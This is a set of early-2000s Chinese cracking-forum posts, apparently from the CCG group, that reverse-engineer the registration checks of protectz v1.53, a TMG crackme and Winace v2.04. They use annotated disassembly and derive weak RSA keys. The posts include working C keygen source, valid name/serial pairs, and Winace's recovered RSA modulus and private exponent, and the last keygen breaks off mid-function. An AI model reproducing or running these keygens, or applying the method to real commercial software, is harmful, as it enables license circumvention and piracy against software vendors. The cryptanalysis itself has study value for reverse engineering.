:00488B4D E84AB6F7FF call 0040419C<-----------------------取前8个字

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488B43(C)
|
:00488B52 8B45F0 mov eax, dword ptr [ebp-10]
:00488B55 E80EB3F7FF call 00403E68
:00488B5A 8BD0 mov edx, eax
:00488B5C 8D45EC lea eax, dword ptr [ebp-14]
:00488B5F E838B6F7FF call 0040419C
:00488B64 8B45EC mov eax, dword ptr [ebp-14]
:00488B67 8B55F0 mov edx, dword ptr [ebp-10]
:00488B6A E809B4F7FF call 00403F78<--------------------输入的用户名和
:00488B6F 0F94C0 sete al 由注册码算出的用户名比较
:00488B72 F6D8 neg al
:00488B74 1BC0 sbb eax, eax
:00488B76 8945F4 mov dword ptr [ebp-0C], eax<----------此处让eax==1则注册成功

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004889EC(C), :00488A0F(C)
|
:00488B79 33C0 xor eax, eax
:00488B7B 5A pop edx
:00488B7C 59 pop ecx
:00488B7D 59 pop ecx
:00488B7E 648910 mov dword ptr fs:[eax], edx
:00488B81 68B58B4800 push 00488BB5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488BB3(U)
|
:00488B86 8D45D4 lea eax, dword ptr [ebp-2C]
:00488B89 BA05000000 mov edx, 00000005
:00488B8E E879B0F7FF call 00403C0C
:00488B93 8D45EC lea eax, dword ptr [ebp-14]
:00488B96 BA02000000 mov edx, 00000002
:00488B9B E86CB0F7FF call 00403C0C
:00488BA0 8D45F8 lea eax, dword ptr [ebp-08]
:00488BA3 BA02000000 mov edx, 00000002
:00488BA8 E85FB0F7FF call 00403C0C
:00488BAD C3 ret
================================================================================================
* Referenced by a CALL at Address:<----------------------------call (1.1)
|:00488ABD
|
:00488870 55 push ebp
:00488871 8BEC mov ebp, esp
:00488873 83C4D4 add esp, FFFFFFD4
:00488876 53 push ebx
:00488877 33DB xor ebx, ebx
:00488879 895DD4 mov dword ptr [ebp-2C], ebx
:0048887C 895DEC mov dword ptr [ebp-14], ebx
:0048887F 894DF4 mov dword ptr [ebp-0C], ecx
:00488882 8955F8 mov dword ptr [ebp-08], edx
:00488885 8945FC mov dword ptr [ebp-04], eax
:00488888 8B45FC mov eax, dword ptr [ebp-04]
:0048888B E88CB7F7FF call 0040401C
:00488890 33C0 xor eax, eax
:00488892 55 push ebp
:00488893 6884894800 push 00488984
:00488898 64FF30 push dword ptr fs:[eax]
:0048889B 648920 mov dword ptr fs:[eax], esp
:0048889E 8B45FC mov eax, dword ptr [ebp-04]
:004888A1 E8C2B5F7FF call 00403E68
:004888A6 8845F1 mov byte ptr [ebp-0F], al
:004888A9 807DF108 cmp byte ptr [ebp-0F], 08
:004888AD 7604 jbe 004888B3
:004888AF C645F108 mov [ebp-0F], 08

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004888AD(C)
|
:004888B3 8D45EC lea eax, dword ptr [ebp-14]
:004888B6 E82DB3F7FF call 00403BE8
:004888BB 8A45F1 mov al, byte ptr [ebp-0F]
:004888BE 84C0 test al, al
:004888C0 0F868D000000 jbe 00488953
:004888C6 8845DF mov byte ptr [ebp-21], al
:004888C9 C645F201 mov [ebp-0E], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048894D(C)
|
:004888CD 33C0 xor eax, eax
:004888CF 8A45F2 mov al, byte ptr [ebp-0E]
:004888D2 8B55FC mov edx, dword ptr [ebp-04]
:004888D5 8A4402FF mov al, byte ptr [edx+eax-01]
:004888D9 8845F3 mov byte ptr [ebp-0D], al
:004888DC C745E401000000 mov [ebp-1C], 00000001
:004888E3 33C0 xor eax, eax
:004888E5 8A45F3 mov al, byte ptr [ebp-0D]
:004888E8 8945E8 mov dword ptr [ebp-18], eax
:004888EB 8B45F8 mov eax, dword ptr [ebp-08]
:004888EE 85C0 test eax, eax
:004888F0 763A jbe 0048892C
:004888F2 8945D8 mov dword ptr [ebp-28], eax
:004888F5 C745E001000000 mov [ebp-20], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048892A(C)
|
:004888FC 8B45E4 mov eax, dword ptr [ebp-1C]<----------0x1
:004888FF F76DE8 imul [ebp-18]<------------------------0x1*0x27==0x27
:00488902 8945E4 mov dword ptr [ebp-1C], eax<----------0xbb
:00488905 8B45F4 mov eax, dword ptr [ebp-0C]<----------0xbb
:00488908 F76DF4 imul [ebp-0C]<------------------------0xbb*0xbb==0x8899
:0048890B 3B45E4 cmp eax, dword ptr [ebp-1C]<----------0x27 < 0x8899 ?
:0048890E 7314 jnb 00488924<-------------------------再乘
:00488910 8B45F4 mov eax, dword ptr [ebp-0C]<----------0xbb
:00488913 F76DF4 imul [ebp-0C]<------------------------0x8899
:00488916 50 push eax
:00488917 8B45E4 mov eax, dword ptr [ebp-1C]
:0048891A 5A pop edx
:0048891B 8BCA mov ecx, edx
:0048891D 33D2 xor edx, edx
:0048891F F7F1 div ecx<------------------------------(0x1*0x27*0x27*0x27)%0x8899==0x5f1e
:00488921 8955E4 mov dword ptr [ebp-1C], edx<----------0x5f1e

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048890E(C)
|
:00488924 FF45E0 inc [ebp-20]
:00488927 FF4DD8 dec [ebp-28]<-------------------------乘7次
:0048892A 75D0 jne 004888FC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004888F0(C)
|
:0048892C 8B45E4 mov eax, dword ptr [ebp-1C]<----------最后的结果0x68f6
:0048892F 33D2 xor edx, edx
:00488931 F775F4 div [ebp-0C]<-------------------------0x68f6%0xbb==0x81
:00488934 8D45D4 lea eax, dword ptr [ebp-2C]<----------用户名的第一个字的ASCII值
:00488937 E854B4F7FF call 00403D90 要等于0x81
:0048893C 8B55D4 mov edx, dword ptr [ebp-2C]
:0048893F 8D45EC lea eax, dword ptr [ebp-14]
:00488942 E829B5F7FF call 00403E70
:00488947 FE45F2 inc [ebp-0E]
:0048894A FE4DDF dec [ebp-21]<-------------------------循环计算8个字
:0048894D 0F857AFFFFFF jne 004888CD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004888C0(C)
|
:00488953 8B4508 mov eax, dword ptr [ebp+08]
:00488956 8B55EC mov edx, dword ptr [ebp-14]
:00488959 E8DEB2F7FF call 00403C3C
:0048895E 33C0 xor eax, eax
:00488960 5A pop edx
:00488961 59 pop ecx
:00488962 59 pop ecx
:00488963 648910 mov dword ptr fs:[eax], edx
:00488966 688B894800 push 0048898B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488989(U)
|
:0048896B 8D45D4 lea eax, dword ptr [ebp-2C]
:0048896E E875B2F7FF call 00403BE8
:00488973 8D45EC lea eax, dword ptr [ebp-14]
:00488976 E86DB2F7FF call 00403BE8
:0048897B 8D45FC lea eax, dword ptr [ebp-04]
:0048897E E865B2F7FF call 00403BE8
:00488983 C3 ret
===============================================================================================
算法总结：

用户名：lancelot[CCG]的前8个字转换成大写LANCELOT==0x4c 0x41 0x4e 0x43 0x45 0x4c 0x4f 0x54
注册码：i0 i1 i2 i3 i4 i5 i6 i7 - i8 i9 ia ib ic id ie if
则： 0x4c xor 0x35==0x79, 0x41 xor 0x36==0x77, 0x4e xor 0x37==0x79, 0x43 xor 0x38==0x7b
0x45 xor 0x39==0x7c, 0x4c xor 0x3a==0x76, 0x4f xor 0x3b==0x74, 0x54 xor 0x3c==0x68

假设：已知0xi是一个两位的16进制数
(1) 1*0xi==0xi
(2) 如果 0xi*0xi>=0x8899 则取余--(0xi*0xi)%0x8899,余数参与下面计算
否则用0xi*0xi参与下面计算
(3) 如果 ((2)的结果*0xi)>=0x8899 则取余--((2)的结果*0xi)%0x8899,余数参与下面计算
否则用(2)的结果*0xi)参与下面计算,以下同
(4) 同上
(5) 同上
(6) 同上
(7) 同上
(8) 最后取余--(7)的结果%0xbb==A

例:(1) 1*0x27==0x27
(2) 0x27*0x27==0x0x5f1 < 0x8899
(3) 0x05f1*0x27==0xe7b7 >0x8899 取余 0xe7b7%0x8899==0x5f1e
(4) 0x5f1e*0x27==0xe7d92>0x8899 取余 0xe7d92%0x8899==0x156f
(5) 0x156f*0x27==0x343e9>0x8899 取余 0x343e9%0x8899==0x1053
(6) 0x1053*0x27==0x27ca5>0x8899 取余 0x27ca5%0x8899==0x5a41
(7) 0x5a41*0x27==0xdbfe7>0x8899 取余 0xdbfe7%0x8899==0x68f6
(8) 最后 0x68f6%0xbb==0x81

让 A 依次等于用户名的前8个字与0x35~0x3c异或后的值,逆运算求出0xi,即为注册码。

感谢hying的帮助,唯小弟愚钝,求逆运算,无果... ...
只好编个小程序穷举它：

#include <stdio.h>

void main()
{
int A=1;
char username[30];

printf("Please enter your username(in capitals): ");
gets(username);
printf("your register code is: ");

for(int i=0;i<8;i++)
{
for(int j=1;j<4095;j++)
{
for(int k=0;k<7;k++)
{
if(A*j>=34969) A=(A*j)%34969;
else A=A*j;
}
if(A>=187) A=A%187;
if(A==username[i])
{
if(i==4) printf(" - ");
printf("%x ",j^(53+i));
A=1;
break;
}
else A=1;

}
}

printf("\n");

}
=================================================================================================
用户名：lancelot[CCG]
注册码：15b80f7b-b01a9659

,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.09.25
)_\ )_\
========================================================

标 题:关于 protectz v1.53 RSA 算法的一点理解 (2千字)
发信人:lancelot[CCG]
时 间:2001-9-26 22:24:43
详细信息:

RSA算法简述：
1、取两个素数p和q。
2、计算n=pq，f=(p-1)(q-1)。
3、随机选取整数e，满足条件gcd(e, f)=1，其中gcd为最大公约数。
4、计算d，使得乘积de对f求余的结果为1，即de和1对f同余。
上述只有e和n对外公开，用于加密。

加密过程（符号^表示乘幂，mod表示求余）：
e为加密密钥，假定明文为m，则密文c = (m ^ e) mod n。

解密过程：
d为解密密钥，则解密得到的明文m'= (c ^ d) mod n。

--------摘自《论坛精华3》-------《Windows优化大师v2.9+的注册码加密算法》

written by dr0, 2000/08/22
===============================================================================================
程序中明显的可以看出：e=7,n=0xbb=187=11*17
所以：p=11,q=17
n=p*q=11*17=187
f=(p-1)*(q-1)=160
gcd(e,f)=1
又因为：(d*e)%f=1
也就是：(d*7)%160=1
所以：(d*7)=a*160+1
假设：a=1
则：d=161/7=23

现在看看我们得到了什么：p=11, q=17, n=p*q=187, f=(p-1)*(q-1)=160, d=23, e=7
================================================================================================
程序中主要的计算过程是：

假设：已知0xi是一个两位的16进制数
(1) 1*0xi==0xi
(2) 如果 0xi*0xi>=0x8899 则取余--(0xi*0xi)%0x8899,余数参与下面计算
否则用0xi*0xi参与下面计算
(3) 如果 ((2)的结果*0xi)>=0x8899 则取余--((2)的结果*0xi)%0x8899,余数参与下面计算
否则用(2)的结果*0xi)参与下面计算,以下同
(4) 同上
(5) 同上
(6) 同上
(7) 同上
(8) 最后取余--(7)的结果%0xbb==A

其中A就是已知的密文，0xi就是我们要求的明文,上面那一段其实就是：A=(0xi^7) mod 0xbb

于是可以进行一下逆运算：0xi=(A^23) mod 0xbb
================================================================================================

本文是参考了“最弱智”大哥的keygen写成的，感谢！

,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.09.26
)_\ )_\
========================================================

标 题:protectz 1.53的注册算法 (849字)
发信人:[最弱智]
时 间:2001-9-26 15:27:51
详细信息:

这东西实际上是RSA，只不过是RSA8 ;))))))) 有够愚蠢。

#include <stdio.h>

/* the lamest expmod all around the world ;) */
int expmod(int a, int b, int c)
{
int i, m = 1;

for (i = 0; i < b; i++) {
m *= a;
m %= c;
}
return m;
}

void main(void)
{
unsigned char name[100];
int i;

printf("Protectz v1.53 keygen by [The_Lamer]\n\n");
printf("Enter your name: ");
gets(name);
strupr(name);
if (strlen(name) < 8) {
printf("\nError: invalid name.\n");
return;
}

printf("\nYour regcode: ");
for (i = 0; i < 8; i++)
name[i] = expmod(name[i], 23, 187);
for (i = 0; i < 8; i++) {
name[i] ^= (0x35 + i);
printf("%02x", name[i]);
if (i == 3) printf("-");
}
printf("\n");
}


TMG keygenmersa

 标 题:TMG--keygenmersa (10千字)
发信人:lancelot[CCG]
时 间:2001-10-5 17:34:23
详细信息:
输入：
username: lancelot
company: [CCG]
code: 1234567890123456789012345678901234567890
=========================================================================================

* Referenced by a CALL at Address:
|:0040107A
|
:00401187 C8080000 enter 0008, 00
:0040118B BFF0214000 mov edi, 004021F0
:00401190 33C0 xor eax, eax
:00401192 6A08 push 00000008
:00401194 59 pop ecx
:00401195 F3 repz
:00401196 AB stosd
:00401197 68F0204000 push 004020F0
:0040119C 6A3D push 0000003D
:0040119E 6A0D push 0000000D
:004011A0 FF35DC204000 push dword ptr [004020DC]

* Reference To: USER32.SendMessageA, Ord:01C0h
|
:004011A6 E8890B0000 Call 00401D34<---------------------读取用户名
:004011AB 83F805 cmp eax, 00000005<-----------------是否小于5个字
:004011AE 0F8CE7010000 jl 0040139B<-----------------------小于则认为是无效用户名
:004011B4 8945FC mov dword ptr [ebp-04], eax
:004011B7 6870214000 push 00402170
:004011BC 6A3D push 0000003D
:004011BE 6A0D push 0000000D
:004011C0 FF35E0204000 push dword ptr [004020E0]

* Reference To: USER32.SendMessageA, Ord:01C0h
|
:004011C6 E8690B0000 Call 00401D34<---------------------读取公司名
:004011CB 83F805 cmp eax, 00000005<-----------------是否小于5个字
:004011CE 0F8CE0010000 jl 004013B4<-----------------------小于则认为是无效公司名
:004011D4 8945F8 mov dword ptr [ebp-08], eax
:004011D7 68F0214000 push 004021F0
:004011DC 6A32 push 00000032
:004011DE 6A0D push 0000000D
:004011E0 FF35E4204000 push dword ptr [004020E4]

* Reference To: USER32.SendMessageA, Ord:01C0h
|
:004011E6 E8490B0000 Call 00401D34<---------------------读取注册码
:004011EB 66C705702340000A00 mov word ptr [00402370], 000A
:004011F4 6A03 push 00000003
:004011F6 33D2 xor edx, edx
:004011F8 69C0B5070000 imul eax, 000007B5
:004011FE 5B pop ebx
:004011FF F7F3 div ebx<----------------------------此处要让eax==0x66c2
:00401201 8D803E99FFFF lea eax, dword ptr [eax+FFFF993E]<--此处要让eax==0
:00401207 83F801 cmp eax, 00000001<------------------比较完后要让CF==1
:0040120A 1BC0 sbb eax, eax
:0040120C 0F8470010000 je 00401382<-----------------------不能跳,所以注册码长度为40位
:00401212 BF72234000 mov edi, 00402372
:00401217 BEF0214000 mov esi, 004021F0
:0040121C 56 push esi

* Reference To: USER32.CharUpperA, Ord:002Ah
|
:0040121D E8240B0000 Call 00401D46
:00401222 6A14 push 00000014
:00401224 59 pop ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401254(C)
|
:00401225 66AD lodsw
:00401227 66257F7F and ax, 7F7F
:0040122B 662D3030 sub ax, 3030
:0040122F 3C19 cmp al, 19
:00401231 0F874B010000 ja 00401382<------------------------每1位注册码的ASCII值要小于0x39
:00401237 80FC19 cmp ah, 19
:0040123A 0F8742010000 ja 00401382<------------------------每1位注册码的ASCII值要小于0x39
:00401240 0FB6DC movzx ebx, ah
:00401243 0FB6C0 movzx eax, al
:00401246 8A8058124000 mov al, byte ptr [eax+00401258]
:0040124C 0A8373124000 or al, byte ptr [ebx+00401273]
:00401252 AA stosb
:00401253 49 dec ecx
:00401254 7FCF jg 00401225<------------------------以上将注册码每两位合并
:00401256 EB36 jmp 0040128E<-----------------------即12345678=>0x78563412

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401256(U)
|
:0040128E BF30224000 mov edi, 00402230
:00401293 33C0 xor eax, eax<-----------------------eax==0
:00401295 6A05 push 00000005
:00401297 59 pop ecx
:00401298 F3 repz
:00401299 AB stosd
:0040129A 48 dec eax<----------------------------eax==ffffffff
:0040129B BEF0204000 mov esi, 004020F0<-----------------"lancelot"<---------用户名
:004012A0 BF30224000 mov edi, 00402230
:004012A5 8B4DFC mov ecx, dword ptr [ebp-04]<-------8个字
:004012A8 33D2 xor edx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004012E0(C)
|
:004012AA AC lodsb
:004012AB 32E0 xor ah, al
:004012AD 69C013731789 imul eax, 89177313
:004012B3 25AA55AA55 and eax, 55AA55AA
:004012B8 69C081932912 imul eax, 12299381
:004012BE 3511AA55AA xor eax, AA55AA11
:004012C3 6BC061 imul eax, 00000061
:004012C6 32E0 xor ah, al
:004012C8 0D18010310 or eax, 10030118
:004012D3 D3D0 rcl eax, cl
:004012D5 310417 xor dword ptr [edi+edx], eax
:004012D8 83C203 add edx, 00000003
:004012DB 83E20F and edx, 0000000F
:004012DE 42 inc edx
:004012DF 49 dec ecx<---------------------------计数器减1
:004012E0 7FC8 jg 004012AA<---------------循环<--结果:d331d86e5fa0445cb96d6ba55e9f91823ec06285
:004012E2 BE70214000 mov esi, 00402170<-----------------"[CCG]"<------公司名
:004012E7 BF30224000 mov edi, 00402230
:004012EC 8B4DF8 mov ecx, dword ptr [ebp-08]<-------5个字
:004012EF 33D2 xor edx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401327(C)
|
:004012F1 AC lodsb
:004012F2 2AE0 sub ah, al
:004012F4 69C013731589 imul eax, 89157313
:004012FA 25AA55AA55 and eax, 55AA55AA
:004012FF 69C087932912 imul eax, 12299387
:00401305 0D11AA55AA or eax, AA55AA11
:0040130A 6BC061 imul eax, 00000061
:0040130D 3514010110 xor eax, 10010114
:00401312 69C079829107 imul eax, 07918279
:00401318 32E0 xor ah, al
:0040131A D3D8 rcr eax, cl
:0040131C 310417 xor dword ptr [edi+edx], eax
:0040131F 83C203 add edx, 00000003
:00401322 83E20F and edx, 0000000F
:00401325 42 inc edx
:00401326 49 dec ecx<---------------------------计数器减1
:00401327 7FC8 jg 004012F1<----------------循环<--结果:422055b97f4b15f5f9412ef971abd42827f382cd
:00401329 2B4708 sub eax, dword ptr [edi+08]<-------eax==0x48e03319-0xf92e41f9==0x4fb1f120
:0040132C 69C015488134 imul eax, 34814815<----------------eax==0x9689c7a0
:00401332 014710 add dword ptr [edi+10], eax<-------0xcd82f327+0x9689c7a0==0x640cbac7
:00401335 C1E80B shr eax, 0B<-----------------------eax==0x0012d138
:00401338 83E003 and eax, 00000003<-----------------eax==0x00
:0040133B 8807 mov byte ptr [edi], al<--------<---结果:002055b97f4b15f5f9412ef971abd428c7ba0c64
:0040133D 6870224000 push 00402270
:00401342 6870234000 push 00402370<---------0a001234567890123456789012345678901234567890<=输入的注册码(C')

* Possible StringData Ref from Data Obj ->"
"
|
:00401347 6800204000 push 00402000<--------------0a00d2e9bf9b3d258e479d8cc23c7a33e1f8ebb3adb1<==这就是(n)
:0040134C E87C000000 call 004013CD<---------------------(1)开始 RSA 计算!!!
:00401351 6A05 push 00000005
:00401353 59 pop ecx
:00401354 BE72224000 mov esi, 00402272<---(1)的结果-----96e10aebbf748d31c4cdc7e1846a2361e3575546
:00401359 BF30224000 mov edi, 00402230<---002055b97f4b15f5f9412ef971abd428c7ba0c64<=(用户名+公司名)也就是(M)

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401367(C)
|
:0040135E AD lodsd
:0040135F 3107 xor dword ptr [edi], eax
:00401361 751F jne 00401382<----------------------要让 xor 后的值为0
:00401363 83C704 add edi, 00000004
:00401366 49 dec ecx
:00401367 7FF5 jg 0040135E
:00401369 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"Well done"<--------------成功
|
:0040136B 68C9204000 push 004020C9
======================================================

... ... 到这里后，停了好几天，因跟进 call (1) 后，不知所云，无法推出 e 和 d
多谢伪装者提供的老外的过程，马上照着做，嘻嘻... ...
=====================================================================================================
已知：n= p*q
(d*e) mod ((p-1)*(q-1))= 1
M= (C^e) mod n
C= (M^d) mod n

按照老外的教程:*** 要用大写字母,试了好久才知道，呵呵，错怪老外了 ***

n= D2E9BF9B3D258E479D8CC23C7A33E1F8EBB3ADB1 <--------160 Bits 没错!
e= 65537 <-----由于程序中 RSA 计算前没有入栈 e, 所以 e 为预设值(default)--65537

用 RSA tool 2 v1.4, 输入 n (要用大写字母,试了好久才知道，呵呵，错怪老外了), 分解因子

p= D49CAA009DADB2128673
q= FDF4549DF6ACE8640E4B
d= C6546E0C11ACCE2543DD1150C4CE7A05A4C8FA3D

剩下的就是写注册机了
=======================================================
,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.10.05
)_\ )_\
========================================================


Winace v2.04

 标 题:keygen of Winace v2.04 and some of comments. 8^) (9千字)
发信人:arbiter
时 间:2001-11-5 3:27:07
详细信息:
目标 ： Winace v2.04.
工具 ： SoftIce v4.05 for Win9x, only!
特别需要你的耐心与细心

简要说明:
注册验证算法下面我写了，主要想说的是，这个东西并不是太难，是密码学算法
分析的入门级程度，特别是对分析RSA来说，是一个很好的例子。算法中应用CRC32
作为一个验证点，也就是密文的一部分，用它组合的密文通过RSA进行RSA_DECODE
得到明文，然后通过一个解码过程最后得到注册码。

验证过程：
注册码检测时，是先把输入的fakeKey经过查表转换成一个序列 ---> "indexFkey"
然后把indexFkey通过一个ENCODER(非常简单的双向算法，和MIRC中用到的算法类似，
比MIRC中的又稍微复杂点)进行编码，得到的结果进行RSA_ENCODE，这里用到的E = 3。
之后的结果和上面说到的密文进行校验。

keygen的流程：

其实挺简单，就是写的时候要细心些。我的程序中频繁运用了转换函数(char* to
hex*, hex* to char*)，其实用freelip运算RSA后的结果(verylong)就可以直接
构造生成函数，对此结果进行解码从而得到真正的注册码。

baseStr = strupr( username + first3CharOfRegCode );
Crc32ChkSum = CRC32( baseStr );
ConstructCipherText( buf, Crc32ChkSum + SomeOtherKeyPoint );
/* 这里需要你自己去找检测点了，还有如何构造密文序列 */
indexFkey = RSA_DECODE( ( verylong type )buf, d, n );
ValidRegCode = DeCoderSimple( indexFkey, table );

就这样吧，再说就没有什么意义了。还是那句话，算法简单，不过要细心！

Deo Gratias!
2001-11-5
arbiter[ccg].

/* --------------------------------------------------------------------------- */
/* Winace v2.04 Key Generator by arbiter. */
/* */
/* KeyCheck routine: RSA120 + CRC32_Modified + authorMadeSimpleEncoder :) */
/* */
/* level : Elementary phase of reversing of apply cryptography. */
/* lib. & compiling: You need the freelip to compile this source code, and */
/* do not forget adding the "ws2_32.lib" to your project */
/* which will be used by freelip. */
/* */
/* freelip is what i use to calculate the RSA, i prefer this one then the */
/* miracl, because of it is an excellent and fully open source code libaray. */
/* --------------------------------------------------------------------------- */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#include "lip.h"
#pragma comment( lib, "freelib.lib" )

extern time();
typedef unsigned char BYTE;
typedef unsigned long DWORD;
#define UpdCRC32( octet, crc ) \
{ \
DWORD temp = crc & 0x000000ff; \
( crc ) >>= 8; \
( crc ) ^= CRC32_tab[( BYTE )octet ^ temp]; \
}

static char ctable[] = "0123456789ABCDEFGHIJKMNPQRSTUVWXYZ";
static char leadingStr[] = "CCG";
/* RSA120 modulus N and private key D, public key E = 3. 8^) */
static char modulus_N[] = "E9EF370510CB9DB54CA78CC94A3495";
static char private_D[] = "9BF4CF58B5DD13AF6A905C439A8E6B";
/* standard CRC32 hash consts table, modified CRC32 hash routine. */
const DWORD CRC32_tab[] =
{
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};

DWORD CRC32_Modify( char *hashBuf, int len )
{
int i;
register DWORD checksum = 0xffffffff;
register DWORD temp = 0x0;
for( i = 0; len; len--, i++ )
UpdCRC32( hashBuf[i], checksum );
return checksum;
}

/* conversion code. grab it from tE!'s keygen. haha.
i'm jerking around here of my lamer gen. routine
over the conversion ;-) */

char eulav( long i );
void zhconvert( verylong a, char *dbuff, int CodeLen )
{
static char *b;
register long i,j,cnt = 0;

b = ( char* )malloc( ( size_t )( a[0] << 3 ) );

if ( !b ) return;

do {
b[cnt] = eulav( a[1] & 15 );
cnt++;
zrshift( a, ( long )4, &a );
}
while ( ( a[1] != 0 ) || ( a[0] != 1 ) || ( cnt < CodeLen ) );

b[cnt] &= 0x00;

j = cnt - 1;
for( i = 0; i < cnt; i++ )
{
dbuff[i] = b[j];
j--;
}
dbuff[i] = 0x00;
free( b );
}

int CheckBound( int x )
{
return( ( ( x >= 0x30 && x <= 0x39 ) ||
( x >= 0 && x <= 9 ) )? 0x30 : 0x37 );
}

void LoadDd( DWORD *x, char *buf )
{
int i;
BYTE nibble_H = 0;
BYTE nibble_L = 0;
DWORD tByte = 0;
for( i = 0; i < 3; i++ )
{
nibble_H = buf[i * 2] - CheckBound( buf[i * 2] );
